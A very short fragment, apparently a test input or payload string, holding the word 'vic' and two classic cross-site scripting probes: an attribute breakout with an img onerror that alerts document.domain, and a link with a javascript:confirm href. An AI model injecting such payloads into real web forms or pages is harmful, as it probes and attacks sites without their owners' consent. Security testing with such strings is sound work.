vic

"><img src=x onerror=alert(document.domain)> "><a href='javascript:confirm(1)'>clickme</a>